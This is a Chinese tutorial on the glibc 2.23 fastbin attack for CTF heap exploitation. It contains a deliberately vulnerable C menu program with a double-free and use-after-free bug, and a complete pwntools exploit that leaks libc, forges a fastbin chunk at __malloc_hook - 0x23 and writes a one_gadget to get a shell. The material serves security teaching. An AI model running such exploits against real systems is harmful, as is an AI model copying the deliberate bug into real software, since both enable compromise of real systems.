CTF打多了就会发现,堆利用这块有一个很奇怪的现象:你明明知道很多高级利用手法,什么largebin attack、tcache stashing unlink,但真到了现场,一个经典的double free照样能放倒一批人。fastbin attack作为堆利用入门的必修课,这些年一直被低估,它其实一点都不复杂,核心就一句话:利用fastbin单链表上悬空的指针,把malloc“指”到你想写的地址去。
这篇文章我会把fastbin attack从原理到实操整个过一遍,包括glibc分配器的bin管理逻辑、double free检查的绕过、伪造chunk时的size校验,以及一个可以直接复现的完整exp。适合刚接触堆利用、被各种术语搞晕的pwn新手,也适合想快速复习一遍基础攻击链的老手。
1. 先搞清楚这几件事,再谈fastbin attack
1.1 glibc堆管理的最小单位:chunk
在glibc的ptmalloc2分配器里,堆内存不是以字节为单位随便切的,而是被切成一块一块的chunk来管理。每个chunk都带一个16字节的头部,位于用户数据区之前。64位系统上布局是这样的:
| 偏移 | 字段 | 含义 |
|---|---|---|
| 0x00 | prev_size | 前一个chunk的大小(仅当前chunk空闲时有效) |
| 0x08 | size | 当前chunk大小,低3位是标志位 |
| 0x10 | fd / user data | 空闲时指向同bin中的下一个chunk;使用时为用户数据 |
size字段里的低3位不是大小的一部分,分别是PREV_INUSE(前一个chunk是否使用中)、IS_MMAPPED(是否mmap映射)、NON_MAIN_ARENA(是否属于主分配区)。所以你看一个chunk,size读出来往往是0x71、0x91这种带个尾数的值,那个1基本就是PREV_INUSE标志。
对齐规则也简单,chunk大小必须是16字节对齐。用户请求大小换算成chunk大小的公式是:
nb = (request + 8 + 0xf) & ~0xf这8就是prev_size和size这16字节头部的一半,因为size字段自身占了8字节,加上用户数据,再按16对齐。常见对应关系我整理了一张表:
| 用户请求大小 | 实际chunk size | 归属bin |
|---|---|---|
| 0x10 | 0x20 | fastbin |
| 0x18 | 0x20 | fastbin |
| 0x20 | 0x30 | fastbin |
| 0x60 | 0x70 | fastbin |
| 0x70 | 0x80 | fastbin(上限) |
| 0x80 | 0x90 | unsorted bin |
这个换算表建议背下来,写exp的时候非常常用。很多新手卡在第一步就是不知道为什么自己malloc(0x60)拿到的chunk在gdb里看是0x71,把表格捋一遍就通了。
1.2 fastbin是什么样的“篮子”
glibc为了效率,把空闲chunk按大小分成了好几条链表来管理,fastbin是专门存放小chunk的篮子。在64位系统里,大小范围是0x20到0x80(含header)。这个范围内的chunk释放后不会合并,也不会立刻还给操作系统,而是头插法放进一条单链表。
fastbin的两个关键特性,很多人只顾着背结论,却不知道为什么:
第一,它是单链表。和unsorted bin、large bin那种双向链表不同,fastbin只需要一个fd指针就够了,因为它的操作只有两种:从头部取、往头部放。单链表天然适合这种LIFO(后进先出)结构,不需要遍历,性能最好。
第二,它是LIFO后进先出。你就想象食堂里那种自助餐托盘架,服务员把托盘往上叠,取的时候从最上面拿。最后放进去的chunk,在下一次malloc时最先被取出来。这个顺序理解不了,整个攻击流程就会乱。
fastbin的存在意义就是快。小内存的申请和释放非常频繁,如果每次都走复杂的合并、分割逻辑,性能损失太大。用一条单链表,O(1)时间内完成存取,代价是安全上留下了攻击面。
1.3 fastbin attack到底在攻击什么
搞清楚bin的组织方式,fastbin attack的思路就浮现了:fastbin的链表完全信任chunk里的fd指针。malloc从fastbin取chunk时,做的事情很简单:
取出链表头chunk A 把链表头更新为 A->fd 返回 A 的用户区问题来了,如果A->fd是一个我们伪造的地址,那么下一次malloc就会把这个伪造地址当作新的chunk返回。攻击的实质就是伪造fd指针,劫持分配器的返回地址,让它返回一个我们指定的内存位置,从而获得对那块内存的读写能力。
那怎么才能改到A->fd呢?这就要靠漏洞本身了。常见有三类:
- Double Free:同一个chunk被释放两次,链表中产生重复节点,通过交错分配能让一个chunk同时处于“已分配”和“在链表上”的状态,于是可以改写它的fd。
- UAF(Use After Free):chunk被释放后,程序仍然保留指针,可以直接对已释放chunk的fd字段进行读写。
- 堆溢出:溢出的字节正好改到相邻空闲chunk的fd字段。
所以fastbin attack本身不是漏洞,而是一个利用手段。这在堆利用里是个很核心的认知——你在exp里写的不是“攻击代码”,而是“利用分配器自身逻辑的调度代码”。
2. 拆开看:fastbin attack的核心思路与两条经典路径
2.1 绕Double Free检查:为什么是free A、free B、free A
glibc对double free不是完全没防备。在_int_free函数里,释放一个fastbin chunk时,会检查它是不是当前链表头:
if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)");这个检查的逻辑是:如果你连续释放同一个chunk,那释放第二次时,链头还是它自己,直接报错。但它的防御范围很窄——只在链头作比对,链里面有没有重复它不管。
于是就有了经典绕过手法:连续释放在同一个chunk之间插一个第三者。
free(A) // fastbin: A -> NULL free(B) // fastbin: B -> A -> NULL free(A) // fastbin: A -> B -> A -> NULL第一次free(A)后链头是A;free(B)后链头变成B,此时再free(A),检查的是“当前链头B是否等于A”,不相等,检查通过。但A已经在链表里了,链表中就出现了环。
我见过不少新手在这个地方犯错,直接在free(A)后面又free(A),被报double free or corruption (fasttop),然后卡半小时。这就是没理解检查只在链头。写exp前一定要先把链表状态画出来。
到glibc 2.26引入tcache之后,同一chunk连续free的检测逻辑变了,tcache里每个chunk结构体会保存一个key字段,free时检查key是否等于tcache结构地址,是就报double free。这时候就需要先edit清掉key再二次释放,这是后话,后面单独讲。
2.2 伪造fd:malloc返回地址是怎么被“带偏”的
经过上面的double free,链表结构是A -> B -> A,这还只是准备工作。真正要打出效果,必须在A被分配回来时,改写A->fd。
整个过程一步步展开:
malloc // 返回A,fastbin变成 B -> A -> NULL malloc // 返回B,fastbin变成 A -> NULL malloc // 返回A,fastbin变成 NULL这里的关键在第1次malloc返回A时,A已经不在链表上了,但它此刻同时被分配给了程序,程序可以写它的数据区。A的数据区开头8字节,恰好就是fd字段(fastbin的chunk在空闲时只写了fd,bk没有使用)。所以在第1次malloc时,往A写入fake_chunk,实际上就是把下一次链头指向了fake_chunk。
这时再继续执行后续的分配:
malloc // 返回B,链头变成 A(A的fd此刻是fake_chunk) malloc // 返回A,链头变成 fake_chunk malloc // 链头是fake_chunk,返回 fake_chunk + 0x10看到没有,最后一次malloc返回的地址,不是我们从申请函数传进去的正常chunk,而是我们写入fd的那个fake_chunk的用户区。攻击点到这儿就成立了。
这里有一个永恒的坑:fd要填的是目标地址减去0x10。为什么?因为malloc返回给用户的指针是chunk头偏移0x10的位置,也就是用户数据区起始处。分配器认为fake_chunk是一个完整的chunk,返回fake_chunk + 0x10给用户。所以如果想把某个地址x作为用户区拿回来,fd就填x - 0x10,公式记死:
fd = 目标用户区地址 - 0x102.3 两条经典路径:写栈还是打malloc_hook
有了任意地址分配的能力,接下来就看你想要什么效果了。历史上有两条特别经典的路径,直到今天还在大量出现在题目和真实利用中。
第一条是fastbin dup into stack,目标是把chunk分配到栈上某个变量或返回地址附近。优点是代码逻辑直观,exp写起来快;缺点是必须能拿到栈地址,有些题目不给泄露栈的机会,这条路就断了。
第二条是fastbin dup into malloc_hook / free_hook,目标是把__malloc_hook或__free_hook这类函数指针改写成一个后门地址(比如one_gadget或system)。这是CTF里最常走的路线,因为libc地址通常能通过unsorted bin泄露,而且hook的执行时机非常自然——你只要再触发一次malloc/free即可。
| 路径 | 目标 | 需要条件 | 典型写法 |
|---|---|---|---|
| dup into stack | 栈变量/返回地址 | 栈地址泄露 | fd = stack_addr - 0x10 |
| dup into malloc_hook | __malloc_hook | libc基址 | fake_chunk = __malloc_hook - 0x23 |
| dup into free_hook | __free_hook | libc基址 | fake_chunk = __free_hook - 0x10 |
选择哪条,本质上取决于你掌握哪些信息。能拿到栈地址就打栈,拿不到就打hook。实际做题时我更推荐一个习惯:先想清楚自己手里有什么信息,再倒推哪条路径可行,而不是拿到一个题目就先想着打malloc_hook。
3. 完整实操:在libc 2.23上打一个可复现的fastbin attack
3.1 环境准备与版本选择
学习fastbin attack强烈建议用glibc 2.23,也就是Ubuntu 16.04默认的libc版本。这个版本没有tcache,没有safe-linking,fastbin攻击的限制最少,最适合理解原始的攻击模型。如果你本机是更高版本,推荐用docker起一个环境:
docker run -it --name heap_env ubuntu:16.04 apt-get update && apt-get install -y gcc gdb python python-pip pip install pwntoolsgdb插件推荐pwndbg,它自带一套堆相关的可视化命令,后面调试会非常省心。安装方式不多说,clone下来source一下就行。
还要准备工具链里的另外两个成员:
- one_gadget:用来查找libc中可以直接执行/bin/sh的gadget偏移。
- patchelf:如果你不想用docker,想直接在宿主机跑不同版本libc,用patchelf把程序的动态链接器和RPATH指到目标libc即可。
实战里环境切换我踩过很多坑,最简单的方式还是docker。容器里开gdb调试pwn题,写完exp直接跑通,干净利落。非要本机跑的话,本地libc版本必须和题目一致,否则泄露计算出来的偏移全是错的。
3.2 示例程序:一个带double free漏洞的简单菜单堆题
写一个极简的菜单堆题来演示攻击。功能就四个:add、delete、edit、show。漏洞放在delete函数里,free之后没有把指针置NULL:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char *chunks[16]; void menu() { puts("1. add"); puts("2. delete"); puts("3. edit"); puts("4. show"); puts("5. exit"); printf("> "); } int main() { setvbuf(stdout, NULL, _IONBF, 0); int choice, idx, size; while (1) { menu(); scanf("%d", &choice); switch (choice) { case 1: printf("idx: "); scanf("%d", &idx); printf("size: "); scanf("%d", &size); chunks[idx] = malloc(size); printf("content: "); read(0, chunks[idx], size); break; case 2: printf("idx: "); scanf("%d", &idx); free(chunks[idx]); break; case 3: printf("idx: "); scanf("%d", &idx); printf("content: "); read(0, chunks[idx], 0x70); break; case 4: printf("idx: "); scanf("%d", &idx); puts(chunks[idx]); break; } } }漏洞点一目了然:free(chunks[idx])之后,chunks[idx]这个全局指针还留着,于是同一个chunk可以被第二次free,也就是double free;同时add、edit功能都能往已经释放的chunk里写数据,这又构成了UAF。
编译时记得关掉PIE,这样符号地址固定,比较方便分析cache:
gcc -no-pie -g heap.c -o heap题目逻辑虽然简单,但该有的漏洞类型都有了。现实中遇到的很多真实漏洞,本质上也是释放后指针未清导致的问题。
3.3 编写exp:从泄露libc到改写__malloc_hook
目标很明确:利用fastbin attack把__malloc_hook改写成one_gadget,然后触发一次malloc拿到shell。
先看泄露libc这一步。glibc里,如果一个大chunk(大于fastbin上限)被释放,它会进入unsorted bin。show一个处于unsorted bin的chunk,能读到的fd指向main_arena+88,这个地址和libc基址之间有固定偏移。在libc 2.23里:
main_arena + 88 相对于 libc 基址的偏移 = 0x3c4b78完整exp如下。我用的是pwntools,注释里把关键步骤都标出来了:
from pwn import * context.arch = 'amd64' context.log_level = 'info' p = process('./heap') libc = ELF('./libc-2.23.so') def add(idx, size, content): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ', str(idx).encode()) p.sendlineafter(b'size: ', str(size).encode()) p.sendafter(b'content: ', content) def free(idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ', str(idx).encode()) def edit(idx, content): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ', str(idx).encode()) p.sendafter(b'content: ', content) def show(idx): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'idx: ', str(idx).encode()) return p.recvline().strip() # 第一步:泄露libc基址 add(0, 0x80, b'A') # 0x90 chunk,进入unsorted bin add(1, 0x10, b'B') # 防止free后和top chunk合并 free(0) libc_leak = u64(show(0).ljust(8, b'\x00')) libc.address = libc_leak - 0x3c4b78 log.success('libc base: ' + hex(libc.address)) # 第二步:构造double free,把fastbin链变成环形 add(2, 0x60, b'C') # chunk A size=0x70 add(3, 0x60, b'D') # chunk B size=0x70 free(2) free(3) free(2) # 此时链表: A -> B -> A -> ... # 第三步:第一次malloc返回A,写A->fd为fake_chunk fake_chunk = libc.sym['__malloc_hook'] - 0x23 add(2, 0x60, p64(fake_chunk)) add(3, 0x60, b'D') # 拿回B add(4, 0x60, b'E') # 拿回A,此时链表头变成fake_chunk # 第四步:再malloc一次,返回fake_chunk的用户区 # 返回指针 = fake_chunk + 0x10 = __malloc_hook - 0x13 # 填充0x13字节后到达__malloc_hook,写入one_gadget payload = b'F' * 0x13 + p64(libc.address + 0x4527a) add(5, 0x60, payload) # 第五步:触发malloc,执行hook p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ', b'6') p.sendlineafter(b'size: ', b'16') p.interactive()这个one_gadget偏移0x4527a是libc 2.23里比较常见的,实际使用时最好用one_gadget ./libc-2.23.so命令再确认一遍。如果gadget约束不满足导致段错误,可以尝试其他偏移,或者用realloc调整栈再跳one_gadget。
3.4 为什么fake_chunk选__malloc_hook - 0x23
这一步是很多教程里写得最糊的地方。我展开讲一下。
前面说fastbin attack在malloc取出chunk时,会检查这个chunk的size是否合法,对应的报错是malloc(): memory corruption (fast)。检查逻辑是,取出的victim的size,必须落在当前fastbin索引对应的范围内。
所以fake_chunk这个地址,必须满足一个条件:fake_chunk + 0x8处的8字节(也就是size字段位置),解出来的值必须落在fastbin的合法范围内。你不能直接拿一个任意的libc地址当fake_chunk,否则malloc检查时就崩了。
怎么构造这个size?最简单是利用libc自身内存里的数据。在glibc 2.23的libc里,__malloc_hook上方有一段区域,里面存在0x7f这种值。我们可以把fake_chunk选在一个看起来好笑的位置:
fake_chunk = __malloc_hook - 0x23把__malloc_hook - 0x23当chunk头,它的size字段就在__malloc_hook - 0x1b。这个地址处,libc数据恰好是0x7f...。glibc计算size时会对低字节做& ~0xf,0x7f对齐后就是0x70,正好落在fastbin 0x70这一档。而我们前面malloc(0x60)得到的chunk size就是0x70,两者匹配,检查通过。
从__malloc_hook - 0x23这个chunk头再往用户区偏移0x10,返回给程序的指针是__malloc_hook - 0x13。所以从返回的指针开始,先写0x13字节padding,再写8字节的one_gadget,就刚好覆盖到__malloc_hook。这就是exp里b'F' * 0x13 + p64(...)的由来。
顺便说一句,0x23这个偏移不是随手拍脑袋想出来的,它就是0x10(chunk头)+ 0x13(从返回指针到hook的偏移)加起来的自然结果。理解了原理,下次遇到__free_hook也能自己算偏移。
4. 实战中避不开的坑与调试技巧
4.1 常见报错速查与排查思路
| 报错信息 | 含义 | 常见原因 |
|---|---|---|
double free or corruption (fasttop) | 释放的chunk是当前fastbin链头 | 连续free同一chunk |
malloc(): memory corruption (fast) | 取出的chunk size不合法 | fake_chunk的size字段不满足索引匹配 |
free(): invalid pointer | free的地址不是有效的chunk头指针 | fd填错,或目标地址没减0x10 |
SIGSEGVin one_gadget | one_gadget约束条件不满足 | 栈环境不对,换gadget或调整布局 |
第一个报错最常出现在新手刚写double free的时候。我之前已经强调过,解决方式就是free中间插一个别的chunk。但还有一种情况是,你明明已经交错释放了还是报错,那就要检查是不是同一块chunk被连续free了两次,中间插的chunk其实压根没成功分配。
第二个报错是fastbin攻击被卡最多的点。排查思路很简单:gdb里看一下fake_chunk附近的8字节,确认size值是否在fastbin范围内。如果不在,说明你选的fake地址不对,需要换一个。这也是为什么很多exp都往__malloc_hook - 0x23打,因为那里天然有0x7f字节,是最省事的构造。
第三个报错很多人忽略。free(): invalid pointer不一定是你free了非法指针,很有可能是分配器把fake_chunk分配给你之后,程序后续的逻辑又把这个地址当普通chunk操作了。比如你把__free_hook当伪造目标,伪造chunk的size接近0x7f,但free时校验的size不对,就会炸。这个报错一旦出现,先往“fd是否少减了0x10”这个方向上排查。
4.2 版本差异:从2.23到2.32,攻击条件悄悄变了
2.23不是永远经典,现在很多新题目已经不会让你舒舒服服地打fastbin attack了。glibc版本的更新,每一步都在收紧fastbin这条攻击路。
| glibc版本 | 关键变化 | 对fastbin attack的影响 |
|---|---|---|
| 2.23及之前 | 无tcache,无safe-linking | 最理想的练习版本 |
| 2.26 | 引入tcache | 同大小chunk优先走tcache,fastbin攻击面缩小 |
| 2.27 | tcache无双重释放检查 | 同等漏洞可以更简单地打tcache poisoning |
| 2.30-2.31 | tcache增加key检查 | double free绕过需要先在tcache上清key |
| 2.32 | 引入safe-linking | fastbin的fd会被异或保护,攻击需要堆地址泄露 |
tcache引入之后,如果你拿到的是double free或者UAF,第一反应不该是fastbin attack,而是直接打tcache poisoning——把tcache bin里的fd改成目标地址,下一次malloc就返回任意地址了。检查更少、利用更直接。
glibc 2.32后fastbin的fd做了异或保护:
fd = real_fd ^ (chunk_addr >> 12)这意味着伪造fd前必须先知道堆地址,并且每次free时fd都会被覆写。攻击门槛明显变高了。现在的堆题里,fastbin attack更多出现在“考察历史机制”的题目里,或者作为组合利用的一环。
我的态度是:原理必须吃透,但实战选路要跟着版本走。拿到题目第一件事先确定libc版本,再决定攻击链。如果你的工具链里还没有能快速查看题目libc版本的习惯,建议现在就养成。
4.3 调试心得:gdb视角下的fastbin链表
最后分享几个调试fastbin attack时的实用习惯,都是从坑里爬出来的经验。
pwndbg下最常用的三个命令:
heap chunks # 查看所有chunk fastbins # 查看fastbin链表,能直接看到链头指针 x/20gx addr # 查看任意地址的内存调试double free后的链表状态是关键一步。我的建议是,每执行一次malloc或free,就用fastbins看一次链表头的变化,和纸上推演的链表状态对比。比如你发现fastbins显示的链头是fake_chunk,但下一个节点指向的地址不是你预期的,说明fd写入没生效,优先怀疑edit的写入长度是不是不够。
关于one_gadget约束不对的问题,我通常的做法是:先在gdb里把断点打到__malloc_hook被调用的那一瞬间,检查rsp和寄存器状态,确认是哪个约束不满足,再决定换gadget还是调布局。0x4527a不行换0x45226,2.23的libc一般有几个可以试的偏移,不要死磕一个。
还有一个小技巧,写给被泄露地址困扰的读者。fastbin attack打malloc_hook时,libc基址的泄露通常走unsorted bin的fd。但如果你手里的题目既没有show功能也不能UAF读,那就得考虑爆破低12位这种方式,配合1/4096的概率。这种情况虽然麻烦,但也是真实存在的比赛场景。先掌握有show功能的版本,再往后灵活变通。
从fastbin attack入坑堆利用这两年,我个人最大的感受是:堆利用里90%的trick,说穿了都是分配器内部逻辑的组合拳。你把chunk结构、fastbin的单链表特性、double free的检查边界这些基础打扎实了,后面学tcache poisoning、unsorted bin attack都会快很多。
最后给一个很具体的建议:别急着上高版本和复杂手法,先把2.23环境的fastbin attack练到闭着眼能写出来,gdb里每一步链表变化都了然于心。真到了赛场上,你会发现这个基础能力救过你很多次。